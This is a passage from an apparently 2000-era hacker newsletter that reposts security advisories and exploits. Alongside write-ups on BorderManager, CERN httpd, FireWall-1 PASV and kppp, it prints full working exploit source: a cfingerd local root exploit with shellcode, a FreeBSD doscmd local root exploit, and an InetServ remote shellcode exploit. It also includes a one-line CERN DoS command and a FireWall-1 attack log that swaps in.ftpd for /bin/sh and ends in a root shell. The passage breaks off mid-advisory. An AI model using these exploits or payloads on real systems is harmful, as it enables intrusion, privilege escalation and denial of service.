replicate the memory allocation error but have not
had any luck with obtaining the high CPU
utilisation.
Again, csatpxy.nlm is loaded by default on this
system and unloading it stopped the memory
allocation errors.
matthew
-----Original Message-----
From: Chicken Man [mailto:chicknmon@HOTMAIL.COM]
Sent: Wednesday, 9 February 2000 11:59
Subject: Novell BorderManager 3.5 Remote Slow
Death
On a (default) installation of BorderManager 3.5
sp1, spc02 running on
NetWare 5.0 sp3a with nici 1.3.1, telnet to port
2000 on the firewall (on
either the public or private interfaces) and hit
enter a few times.
Utilization will jump (to 67% on our systems), and
the console will
immediately report an error similar to the
following:
1-27-2000 9:34:47 am: SERVER-5.0-830
[nmID=2000A]
Short Term Memory Allocator is out of Memory.
1 attempts to get more memory failed.
The telnet session will not disconnect, unless you
manually close the
connection. Over the course of two days (every few
minutes or so, YMMV) the error will repeat, with
the number of attempts steadily increasing (by
several million each time). Eventually (again, for
us it was two days, YMMV) the firewall will deny
all requests, and eventually crash completely.
Further symptoms:
Using tcpcon you can see something listening on
port 2000. If the telnet
session has been closed from the remote end,
tcpcon reports that the
previous session is in a "closewait" state. It may
be possible to do more bad things since this entry
never clears automatically (i.e. use up the rest
of system resources by opening and closing
connections to this port). It can be cleared using
tcpcon.
The misbehaving NLM is CSATPXY.NLM. It is the CS
Audit Trail Proxy, which is apparently loaded by
default on a BorderManager 3.5 install. From what
various people tell me, it could also be installed
on non-BorderManger Novell servers (though
probably not by default) which means this
vulnerability may extend beyond BorderManager 3.5.
Novell was contacted regarding this and the answer
was "unload the NLM".
Unloading the NLM does stop the slow death.
Rebooting will reload the NLM so it must be taken
out of whatever loads it on boot, of course.
<RANT>
Why is the port even accessable from the outside
(or the inside for that
matter)? The default BorderManager packet
filtering rules indictate that
pretty much everything is being passed. Why is the
NLM loaded by default?
Tcpcon shows various other services running that
shouldn't be either
(chargen, echo, etc). Why? What other
vulnerabilities am I missing?
</RANT>
enjoy,
ChicknMon
__________________________________________________
____
Get Your Private, Free Email at
http://www.hotmail.com
@HWA
169.0 CERN 3.0A Heap overflow advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#
$% CERN 3.0A Heap overflow advisory %$
#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#
$% By Scrippie %$
#$ Phreak.nl $#
$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$
#$ Love To: Maja, Dopey, Hester $#
$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$%$#$
there is a heap overflow that wastes memory space in the CERN/3.0A webserver.
Offending source code file is: Daemon/Implememtation/HTScript.c
Offending function is: PUBLIC int HTCallScript ARGS1(HTRequest *, req)
Offending Code snippet:
else { /* Try replacing unknown suffix with .pp */
char *test = (char*)malloc(strlen(HTReqScript) + 4);
char *s;
CTRACE(stderr, "Trying...... to find executable by appending .pp\n");
strcpy(test, HTReqScript);
s = strrchr(test, '.');
strcat(test, ".pp"); /* Try appending .pp */
CTRACE(stderr, "Trying...... \"%s\"\n", test);
if (-1==access(test, X_OK)) { /* Then try replacing suffix with .pp */
if (s) {
*s = 0;
strcat(s, ".pp");
CTRACE(stderr, "Bad luck.... now trying \"%s\"\n", test);
if (-1==access(test, X_OK)) { /* INVALID */
if (!(msg = (char*)malloc(3*strlen(test) + 100)))
outofmem(__FILE__, "HTCallScript");
sprintf(msg,
"Bad script request -- none of '%s' and '%s.pp' is executable",
HTReqScript, test );
free(test);
So we see that test is malloced to hold HTReqScript + ".pp\0" after which
HTReqScript is copied to test, the dot is located and .pp is appended.
We note that strcat() does not just append ".pp" to the string, but rather
".pp\0".
Now, if the HTReqScript did contain a suffix CERN will go and use the char
pointer s to overwrite the suffix of HtReqScript.
If the HtRequest with the new ".pp" suffix cannot be found we print an error
message.
It seems CERN allocates 3*strlen(test) + 100 bytes for our error string...
Probabely some 100 for our static string and the rest for HtReqScript and test.
Sadly, the strcat on test will have limited the lenght of the test string, but
NOT of HtReqScript, so making sure we have a lot of characters after our
seperating dot overflows the heap.
Consider a HtReqScript of 1 A a dot and 50000 A's - now we get something like:
HtReqScript - somewhere around 50000 bytes (50003)
Test - the same as HtReqScript + 4 (50007)
After putting ".pp\0" into place however in our test array we get:
strlen(test) - 1 A, 1 dot, pp - hmmm, 3 bytes
Now our msg will be:
3*3+100=109 - by far enough to hold test, but by far NOT enough to hold
HtReqScript. Close to 50000 bytes of the heap will be ruined!
It's unlikely that this flaw is exploitable, since there is nothing on the
heap after the malloced msg, but I'd sure like to hear any ideas.
/* Scrip kids DoS attack section */
iLikeDossing# lynx http://www.lart.org/cgi-bin/A.`perl -e 'print"A" x 50000'`
Repeat several times and see memory usage jump to remarkable heights :)
/* End of script kiddies section */
A lot of thanks go to dvorak for pointing out to me that most webservers
seem to suffer some sort of flaw in their script parsing routines and for
telling me to take a look at HTScript.c
A quick patch:
--- HTScript.back Wed Jan 26 22:18:44 2000
+++ HTScript.c Wed Jan 26 22:19:52 2000
@@ -894,7 +894,7 @@
strcat(s, ".pp");
CTRACE(stderr, "Bad luck.... now trying \"%s\"\n", test);
if (-1==access(test, X_OK)) { /* INVALID */
- if (!(msg = (char*)malloc(3*strlen(test) + 100)))
+ if (!(msg = (char*)malloc(strlen(HTReqScript)+strlen(test) + 100)))
outofmem(__FILE__, "HTCallScript");
sprintf(msg,
(Isn't a unified diff a beautifull thing :-)
A big hooray to: #phreak.nl
A lots of love to: Dopey, Maja, Hester
Thanks to: dvorak
Cheers,
Scrippie - ronald@grafix.nl
@HWA
170.0 Cfingerd 1.3.3 (*BSD) remote root buffer overflow exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
/*
* babcia padlina ltd. <babunia@freebsd.lublin.pl>
* cfingerd 1.3.3 (*bsd) root sploit
*
* usage: adjust ptr until cfingerd will segfault with some random data on
* output, now adjust ret.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#define BUFFER_SIZE 80
#define ADDRS 190
#define PTR 0xbfbfd750
#define RET 0xbfbfd7d2
#define NOP 0x90
#define FILE1 "user.inf"
#define FILE2 "hack"
#define FILE3 "set.c"
#define SHELL "/tmp/sh"
#define FINGER 79
#define MAXLINE 1024
#define LOCALHOST 0x7f000001
#define GREEN "\E[1;32m"
#define RED "\E[1;31m"
#define NORM "\E[1;39m"
#define UNBOLD "\E[m"
void sh(sockfd)
int sockfd;
{
char buf[MAXLINE];
int c;
fd_set rf, drugi;
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
while (1)
{
bzero(buf, MAXLINE);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, MAXLINE);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, MAXLINE);
if (c<0) return;
write(1,buf,c);
}
}
}
int connectto(void)
{
int sockfd;
char sendbuf[MAXLINE];
struct sockaddr_in cli;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=htonl(LOCALHOST);
cli.sin_port = htons(FINGER);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
return -1;
}
sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
write(sockfd, sendbuf, strlen(sendbuf));
sleep(1);
fflush(stdout);
fflush(stderr);
sh(sockfd);
return;
}
int main(argc, argv)
int argc;
char **argv;
{
char *buf1 = NULL, *buf2 = NULL, *p = NULL;
u_long *addr_ptr = NULL;
int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS;
int retofs = 0, ptrofs = 0;
long ret, ptr;
FILE *phile;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff"SHELL"\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
fprintf(stderr, "\n"GREEN"babcia padlina ltd. cfingerd local root exploit"NORM UNBOLD"\n\n");
if(argc > 5)
{
bufsize = atoi(argv[1]);
addrs = atoi(argv[2]);
ptrofs = atoi(argv[3]);
retofs = atoi(argv[4]);
}
if(!(buf1 = malloc(bufsize+1)))
{
perror("malloc()");
return -1;
}
if(!(buf2 = malloc(addrs+1)))
{
perror("malloc()");
return -1;
}
ret = RET + ptrofs;
ptr = PTR + ptrofs;
noplen = bufsize - strlen(execshell);
memset(buf1, NOP, noplen);
strcat(buf1, execshell);
p = buf2;
addr_ptr = (unsigned long *)p;
for(i = 0; i < (addrs / 4) /2; i++)
*addr_ptr++ = ptr;
for(i = 0; i < (addrs / 4) /2; i++)
*addr_ptr++ = ret;
p = (char *)addr_ptr;
*p = '\0';
if ((phile = fopen(FILE1, "w")) == NULL)
{
perror("fopen()");
return -1;
}
fprintf(stderr, GREEN "RET:" RED "0x%x\n" GREEN "PTR:" RED "0x%x%\n\n" GREEN "setting up..." NORM UNBOLD "\n", ret, ptr);
fprintf(phile, "#Changing user database information for %s.\n"
"Shell: %s\n"
"Full Name: %s\n"
"Office Location: %s\n"
"Office Phone: \n"
"Home Phone: \n"
"Other information: \n",
getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);
fclose(phile);
if ((phile = fopen(FILE2, "w")) == NULL)
{
perror("fopen()");
return -1;
}
fprintf(phile, "cat user.inf>\"$1\"\n");
fprintf(phile, "touch -t 2510711313 \"$1\"\n");
fclose(phile);
if ((phile = fopen(FILE3, "w")) == NULL)
{
perror("fopen()");
return -1;
}
// buffer is too small to execute seteuid/setegid there, so we have
// to do this here.
fprintf(phile, "main() { seteuid(getuid()); setegid(getgid()); system(\"id\"); execl(\"/bin/sh\", \"sh\", 0); }");
fclose(phile);
system("/usr/bin/cc -o " SHELL " " FILE3);
unlink(FILE3);
system("EDITOR=./" FILE2 ";export EDITOR;chmod +x " FILE2 ";chfn > /dev/null 2>&1");
unlink(FILE1);
unlink(FILE2);
if (connectto() < 0)
return -1;
unlink(SHELL);
return 0;
}
@HWA
171.0 FreeBSD 3.4-STABLE /usr/bin/doscmd local exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
/*
*
* (c) 1999 babcia padlina ltd. <babunia@freebsd.lublin.pl>
* FreeBSD 3.4-STABLE /usr/bin/doscmd exploit.
*
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define BUFSIZE 1000
#define ADDRS 1200
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char *buf, *p;
int noplen, i, ofs, align;
long ret, *ap;
FILE *fp;
if(!(buf = (char *)malloc(BUFSIZE+1)))
{
perror("malloc()");
return -1;
}
if (argc < 3) { fprintf(stderr, "usage: %s ofs align\n", argv[0]); exit(0); }
ofs = atoi(argv[1]);
align = atoi(argv[2]);
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);
setenv("EGG", buf, 1);
free(buf);
if(!(buf = (char *)malloc(ADDRS+align+1)))
{
perror("malloc()");
return -1;
}
memset(buf, 'a', align);
p = &buf[align];
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "ret: 0x%x\n", ret);
execl("/usr/bin/doscmd", "doscmd", buf, 0);
return 0;
}
@HWA
172.0 FireWall-1 FTP Server Vulnerability Background Paper #1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm: (Windows application attack)
PAPER
FireWall-1 FTP Server Vulnerability
Background Paper #1, data protect AG
John McDonald <jm@dataprotect.com>
Thomas Lopatic <tl@dataprotect.com>
References
----------
Please reference the recent vuln-dev posting by Mikael Olsson entitled,
"Breaking through FTP ALGs -- is it possible?" At the time of this
writing, it was not yet archived on the security focus web site.
Introduction
------------
The basic idea of the described attack is to subvert the security
policy implemented by a stateful firewall. This is done by triggering
the generation of a TCP packet that, when inspected by the firewall,
will change the firewall's internal state such that an attacker is
able to establish a TCP connection to a filtered port through the
firewall. This packet is the server response to a PASV user request
during a FTP session.
We have also come across this attack, and were in the process of
preparing a more comprehensive advisory, including other FireWall-1
security issues we have documented. The idea was to notify Check Point
of these problems and give them time to develop a software update.
However, since the general form of this vulnerability was
independently documented by Mikael Olsson and published to the
vuln-dev mailing list, we feel it is appropriate to distribute this
information now, as it relates specifically to FireWall-1, in order
to alert potential victims to this issue.
Description
-----------
Check Point FireWall-1 is vulnerable to an attack involving the
stateful support for the FTP protocol, specifically the handling of
the PASV command.
Typically, a user will send an FTP server the PASV command, and the
response from the FTP server will be the 227 message specifying to
which destination IP address and destination port the client is
expected to connect for the next data connection.
FireWall-1 monitors the packets sent from the FTP server to the
client, looking for the string "227 " at the beginning of each
packet. Upon a match, FireWall-1 will extract the destination IP
address and the destination port given in the packet payload, verify
that the specified IP address corresponds to the source address of
the packet, and allow an incoming TCP connection through the
firewall according to the destination IP address and the destination
port extracted from the datagram.
There are several restrictions on this connection which limit its
utility. Data can only travel in one direction and it cannot be to
a port that is listed in FireWall-1's list of well-known TCP
services. It is important to note that FireWall-1 version 3 does
not have this limitation, connections can be made to any port,
and the flow of data is not managed.
In order to trick FireWall-1 into allowing a connection to a port
on the FTP server, we must have the server send the "227 " string
as the first four bytes in a packet that, according to its source
port, belongs to a FTP control connection. We can typically
accomplish this by using the error handler of the FTP daemon,
in conjunction with limiting the MSS of our TCP connection.
This is easy to do by setting the MTU of our interface to a small
value we can work with, before we establish a control connection to
the victim FTP server. This causes the return packets from the
server to be smaller, allowing us to control more easily how data
is split into packets. Thus, we can make the "227 " message
returned by the error handler appear at the beginning of a packet.
Another way to accomplish this would be to ACK up to the message
we want to receive, and then have the server retransmit the data
we want to be contained in an isolated packet.
Here is an example of an attack based on this technique. There is
a FireWall-1 machine between gumpe and the 172.16.0.2 server, which
only permits incoming FTP connections. 172.16.0.2 is a default
Solaris 2.6 install, with the Tooltalk Database vulnerability.
We send the datagram directly to the service's TCP port, in spite of
this port being blocked by the firewall. Note that since there is no
response expected, the one-way restriction doesn't affect this
attack.
All of our testing was done on a Nokia IPSO machine running FW-1
version 4.0.SP-4.
[root@gumpe /root]# strings hackfile
localhost
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
[root@gumpe /root]# /sbin/ifconfig eth0 mtu 100
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)
There is an easier way to perform a similar attack on this setup, since
the default Solaris FTP daemon allows a bounce attack, but this should
suffice to demonstrate the potential severity of this problem.
Summary
-------
If you have a FTP server behind a FireWall-1, it is possible for an
attacker to open TCP connections to certain ports on the machine,
and perform limited communication with those services. If you are
running FireWall-1 version 3, you should consider your FTP server to
have no TCP filtering. Solving this problem is inherently difficult,
but there are simple steps to take to minimize this risk. If the
machine is properly hardened, i.e. if there are no services available
on it, apart from FTP, this makes this vulnerability have little
significance.
You can also disable the PASV handling in the FireWall-1 GUI. However,
this breaks your configuration for passive FTP clients.
@HWA
173.0 Fool firewalls into opening their ports with PASV
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Multiple firewalls:
FTP Application Level Gateway "PASV" Vulnerability
Synopsis
--------
It is possible to cause certain firewalls to open up any
TCP port of your choice against FTP servers that are
"protected" by those firewalls. This is done by fooling
the FTP server into echoing "227 PASV" commands out through
the firewall.
Known affected firewalls
------------------------
Firewall-1 v3 allows full communication on the opened port
Firewall-1 v4 allows only inbound communication on the opened port
NOTE: THIS IS LIKELY A PROBLEM WITH MANY FIREWALLS, DO NOT
TAKE FOR GRANTED THAT YOUR FIREWALL IS SAFE JUST BECAUSE IT IS
NOT LISTED HERE
Background
----------
I've had this idea since late -98, but haven't gotten around to
doing anything about it. Recently, I posted a "possible vulnerability"
to vuln-dev@securityfocus.com, outlining my ideas. This resulted
in multiple responses from different people saying that they had
experienced attacks like this.
It would seem that I should have gone public with my concerns
a lot sooner, rather than having people frown upon them in private.
For my original, somewhat unstructed, thought process, entitled
"Breaking through FTP ALGs -- is it possible?", see:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=389FEB7B.AA290CC7@enternet.se
For an immediate confirmation regarding FW-1 v3 and v4 from
John McDonald, jm@dataprotect.com, and a real-life attack, entitled
"FireWall-1 FTP Server Vulnerability", see:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=38A1B2D9.3B244FAB@dataprotect.com
[Note: URLs are most likely wrapped]
This attack is most likely to work against stateful inspection
firewalls protecting servers.
It might also be possible to cause "proxy" like firewalls to
open arbitrary ports to protected servers.
In the extreme case, albeit a tad unlikely, it may be possible
to cause any type of firewall to open arbitrary ports against
FTP clients.
Take care, all
--
Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 ÖRNSKÖLDSVIK
Phone: +46 (0)660 105 50 Fax: +46 (0)660 122 50
Mobile: +46 (0)70 248 00 33
WWW: http://www.enternet.se E-mail: mikael.olsson@enternet.se
@HWA
174.0 InetServ 3.0 remote DoS exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Home page: http://www.raza-mexicana.org
--=0---=0---=0---=0---=0---=0---=0---=0
POWERED by Linux eXtreme V1.1
--=0---=0---=0---=0---=0---=0---=0---=0
RaZa MeXiCaNa TeAm w w w . r a z a - m e x i c a n a . o r g
------------------------------------------------------------------
|D3VIL OF THE NET | - | THE FINAL DAY IS HERE|
-----BEGIN PGP MESSAGE-----
Version: 2.6.3i
owGtkcFKw0AQhsWT7FP8L5BcvAmCId2SQLKWGCT2YNl2x7La3YVNxFb6Sr6jY0C0
J0HyDf/h/2dght2P8+f1hYmrJ2P7lzMGv0iY6z/5mhI4pUGGJQuoIdGhRM5OjQla
jjLU4p+rhNKOrvB99COEdNrufpKbtQ39oU89DaIIjhZ6y/M+CJFMichDiMZ6bUKE
oR0WMRxoMwRU1r/uQd0QyZFo9FKjps7mWmm0lDngbawUERrvrAQOhD0sNuw8K0Xg
7naCk0//ZnZ5X1a4naMtJJRsceTlx9HNS5VVmGUPKO9QyEZO+14Qnw==
=An72
-----END PGP MESSAGE-----
--------------63FC237A4CB8A83445A20326
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
HI sorry,,, a person posts this exploit made for WIn32....
<br>i coded the same exploit, but it's compile in UNIX ,,,
<p>c-u
<br>thx
<br>
<pre>--
-----------------------------------------------------------------------------
--=0---=0---=0---=0---=0---=0---=0---=0
POWERED by Linux eXtreme V1.1
--=0---=0---=0---=0---=0---=0---=0---=0
RaZa MeXiCaNa TeAm w w w . r a z a - m e x i c a n a . o r g
------------------------------------------------------------------
|D3VIL OF THE NET | - | THE FINAL DAY IS HERE|
-----BEGIN PGP MESSAGE-----
Version: 2.6.3i
owGtkcFKw0AQhsWT7FP8L5BcvAmCId2SQLKWGCT2YNl2x7La3YVNxFb6Sr6jY0C0
J0HyDf/h/2dght2P8+f1hYmrJ2P7lzMGv0iY6z/5mhI4pUGGJQuoIdGhRM5OjQla
jjLU4p+rhNKOrvB99COEdNrufpKbtQ39oU89DaIIjhZ6y/M+CJFMichDiMZ6bUKE
oR0WMRxoMwRU1r/uQd0QyZFo9FKjps7mWmm0lDngbawUERrvrAQOhD0sNuw8K0Xg
7naCk0//ZnZ5X1a4naMtJJRsceTlx9HNS5VVmGUPKO9QyEZO+14Qnw==
=An72
-----END PGP MESSAGE-----</pre>
</html>
--------------63FC237A4CB8A83445A20326--
--------------B105FA723A5B39CE8CFB14A1
Content-Type: text/plain; charset=us-ascii;
name="inetserv-exp.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="inetserv-exp.c"
/**********************************************************************
InetServ 3.0 (Windows NT) REMOTE EXPLOIT CODEd by dr_fdisk^
***********************************************************************
CLASE: DENIAL OF SERVICE
BUG/SHELLCODE FOUND by: Greg Hoglund
))))))))))))((((((((((((
)))RaZa MeXiCaNa TeAm(((
))))))))))))((((((((((((
w w w . r a z a - m e x i c a n a . o r g
((((((((((((((((((((((((((((((((((((((((((
************************************************************************
Aclaracion: el exploit lo programe porque lo necesitaba usar bajo Unix y
no en entorno Windows como fue presentado.
************************************************************************/
/***********************************************************************
-----BEGIN PGP MESSAGE-----
Version: 2.6.3i
owGtkMFKw0AQhtXjPsX3AimIN9HDkm5pIIkSg8QeKmt3lUWThbVilb6S7+iYkz0J
km/4D//MwAz/18nFw/HpkcAvMuHyT362FIc0aFYiqDB0FOTi6rFDKy1Npf55StW2
9+e4dP/owuvzGqWyKVF5jMmFwbqYcP6F6xQ//GYbKcPwtsN32+R7rxq7slS+C7mt
La3XPbyPNSNh+RRl9Hh2BDbiBtGMKNOnCV4+zHx+dluUXC1ol4batOzl+H50i6LW
JXN9R3HD0jRm2rwk/28=
=92LB
-----END PGP MESSAGE-----
************************************************************************/
/*------------------------------*
* DEFINIR EL PUERTO DEFAULT */
/*------------------------------*/
#define PUERTO 224
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/*------------------------------*
* COLORES DEFINIDOS */
/*------------------------------*/
#define NORMAL "\E[m"
#define VERDE "\E[32m"
#define BRILLOSO "\E[1m"
#define ROJO "\E[31m"
#define CELESTE "\E[36m"
#define AZUL "\E[34m"
char shellcode[] =
"GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
"\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
"\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \
"\x53\xB8\x48\x77\x78\x77\xBA\x77\x77\x77\x77" \
"\x33\xC2\x50\x33\xC0\x50\xB8\xAE\x9B\x65\x77\x33\xC2\x50"
"\xB8\x75\x77\x77\xF7\x33\xC2\x50\xB8\x7B\xA7\x34\x77" \
"\x33\xC2\xFF\x10\x8B\xFB\xBA\x77\x77\x77\x77" \
"\xB8\x63\x9A\x65\x77\x33\xC2\x2B\xD8\x53\x50" \
"\x6A\x01\x33\xC9\x51\xB8\x70\x9A\x65\x77" \
"\x33\xC2\x50\xFF\x37\xB8\x77\xA7\x34" \
"\x77\x33\xC2\xFF\x10\xCC"\
"AAAAAAAAAAAAAAA" \
"\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
"\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
"\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
"\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
"\xD2\xF5\xEE\x80" \
"\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
"\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";
void victima(char *conn22);
int conexion;
void victima(char *conn22)
{
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(conn22);
if (hp==NULL) {
printf("%s%sEl host %s no existe!!!!\n",ROJO,BRILLOSO,conn22);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(PUERTO);
conexion = socket(AF_INET, SOCK_STREAM, 0);
connect(conexion,(struct sockaddr *) &sin, sizeof(sin));
}
void main(int argc, char **argv)
{
char buffer[1500];
int a;
char salida[50];
if (argc != 2) {
system("clear");
printf("\n\n\n\n");
printf("%s%s InetServ 3.0 (Windows NT) REMOTE EXPLOIT CODEd by dr_fdisk^\n",VERDE,BRILLOSO);
printf("%s----------------------------------------------------------------------\n\n",CELESTE);
printf ("%s RaZa MeXiCaNa TeAm %swww.raza-mexicana.org\n\n",ROJO,CELESTE);
printf ("-------===============================-------\n\n\n");
printf("Uso: %s%s <hostname>\n\n",AZUL,argv[0]);
exit(0);
}
printf("%s%sVictima: %s \n"NORMAL,ROJO,BRILLOSO,argv[1]);
printf("%s----------------------------------------------------"NORMAL,AZUL);
victima(argv[1]);
sprintf(buffer,"%s",shellcode);
send(conexion, buffer, strlen(buffer), 0);
printf("%s%s%sTHE END\n\n",NORMAL,VERDE,BRILLOSO);
}
/*********************************THE END************************************/
@HWA
175.0 ppp 1.6.14 shows local user the saved PPP password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
here exists a bug in kppp 1.6.14 where a local
user dialing up into the internet can copy the
stars in the password box and put them into an
xterm where the stars will be unrevealed and
that password will be shown.
seeya
rarez
rarez@bonbon.net
(Seems unlikely, like Revelation?? -Ed)
@HWA
176.0 Another screw up in MS's Java Virtual Machine, breaks security.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Jan 28, 2000
Translator's note:
We announce another security hole of Microsoft Virtual Machine$B!!(B
(Microsoft VM) for Java, including the latest version. This is the
translation version of the warning note (written in Japanese) by Dr.
Hiromitsu Takagi posted at the Java House Mailing List, a Japanese Java
user discussion site (http://java-house.etl.go.jp/ml/ . Japanese fonts
required to display). The finding is summarized after numerical tests
and discussion among the members. Mr. Kensuke Tada originated the
discussion. The translation is made available by Dr. Tomohira Tabata
(ttabata@ucsd.edu) for his friends and others who may be benefit from
the information. Please note that Dr. Tomohira Tabata has no
responsibility on mistranslation on this document.
The finding is:
This security vulnerability allows a Java applet to read out any files
on certain directories. A simple code attacks the security hole. Since
a beginning Java programmer can exercise one, all users should be
noted. Its vulnerability is quite dangerous and immediate de-activation
of IE Java function provided by Microsoft is highly recommended;
possibly changing to Netscape Navigator, Communicator or Sun Java
Plug-in by the time Microsoft providing a "fix".
The body of the warning note by Dr. Hiromitsu Takagi:
----------------------------------------------------------------------------------------------------------
This is a warning for all users of Microsoft Internet Explorer version 4
and 5 (IE4, IE5) for Microsoft Windows95/98/NT.
This security hole is closely CLASSPATH for Java users and especially for the Java Developer; the note
is posted.
Vulnerability
-------------
This security vulnerability allows a Java applet to read any "known
files", which are common to most configuration. A hosted web site is
able to retrieve file information through the applet code
automaticallyspecific files which popular applications hold, and
files with common names which users occasionally choose,
This does not allow any change or deletion of local files. We still
believe this vulnerability is quite dan
Detail description
------------------
